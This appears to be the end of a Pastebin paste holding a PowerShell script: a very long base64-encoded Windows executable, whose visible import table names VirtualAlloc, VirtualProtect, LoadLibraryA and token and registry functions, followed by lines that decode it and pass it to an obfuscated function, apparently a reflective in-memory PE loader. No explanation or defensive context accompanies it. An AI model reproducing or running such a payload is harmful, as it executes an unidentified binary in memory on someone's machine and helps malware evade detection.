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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcu0CAJTtAgDE7QIAWO0CAKbtAgAAAAAAJu4CAOjtAgA67gIAFO4CAATuAgBQ7gIAAAAAAMzsAgCi7AIAvuwCAAAAAADK6wIA3usCAPDrAgD+6wIAJuwCADbsAgC86wIAGuwCAA7sAgBI7AIAAAAAAHTsAgBm7AIAhOwCAAAAAAAi7QIA9OwCAALtAgAU7QIAMu0CAAAAAABo6wIA//////////9Y7AIAROoCAJTrAgD//////////5bsAgBw6gIAWOsCAP//////////5uwCADTqAgCk6wIA//////////9K7QIAgOoCACTrAgD//////////9rtAgAA6gIAPOsCAP//////////Xu4CABjqAgAAAAAAAAAAAAAAAAAAAAAAAAAAAHLtAgCU7QIAxO0CAFjtAgCm7QIAAAAAACbuAgDo7QIAOu4CABTuAgAE7gIAUO4CAAAAAADM7AIAouwCAL7sAgAAAAAAyusCAN7rAgDw6wIA/usCACbsAgA27AIAvOsCABrsAgAO7AIASOwCAAAAAAB07AIAZuwCAITsAgAAAAAAIu0CAPTsAgAC7QIAFO0CADLtAgAAAAAAAABFeGl0UHJvY2VzcwAAAEdldE1vZHVsZUhhbmRsZUEAAAAAR2V0UHJvY0FkZHJlc3MAAAAAR2V0VmVyc2lvbgAAAABMb2FkTGlicmFyeUEAAAAAbHN0cmNhdEEAAAAAbHN0cmxlbkEAAAAAVmlydHVhbEFsbG9jAAAAAFZpcnR1YWxQcm90ZWN0AAAAAFdyaXRlVGFwZW1hcmsAa2VybmVsMzIuZGxsAAAAAEFscGhhQmxlbmQAAAAARGxsSW5pdGlhbGl6ZQAAAFRyYW5zcGFyZW50Qmx0AABtc2ltZzMyLmRsbAAAAEltYWdlR2V0Q2VydGlmaWNhdGVIZWFkZXIAAABSZUJhc2VJbWFnZQAAAFJlbW92ZVByaXZhdGVDdlN5bWJvbGljAGltYWdlaGxwLmRsbAAAAABEZWxldGVGb3JtVwAAAERlbGV0ZVByaW50ZXJJQwAAAERFVklDRU1PREUAAAAAU3RhcnREb2NEbGdBAAAAAFdhaXRGb3JQcmludGVyQ2hhbmdlAAB3aW5zcG9vbC5kcnYAAAAAQ29udmVydFNpZFRvU3RyaW5nU2lkVwAAAABHZXRMb2NhbE1hbmFnZWRBcHBsaWNhdGlvbkRhdGEAAAAAUmVnU2V0VmFsdWVFeFcAAAAAU2V0U2VjdXJpdHlEZXNjcmlwdG9yT3duZXIAAAAAU2V0VG9rZW5JbmZvcm1hdGlvbgBhZHZhcGkzMi5kbGwAAAAAQ3JlYXRlUHJvcGVydHlTaGVldFBhZ2VBAAAAAERQQV9JbnNlcnRQdHIAAABHZXRNVUlMYW5ndWFnZQAAAABJbWFnZUxpc3RfQWRkSWNvbgAAAEltYWdlTGlzdF9EcmFnTGVhdmUAAABTdHJfU2V0UHRyVwBjb21jdGwzMi5kbGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  2760.  
  2761. [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes32)
  2762. Invoke-YZSIPFNXTHVFWKM -PEBytes $PEBytes
  2763.  
  2764. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top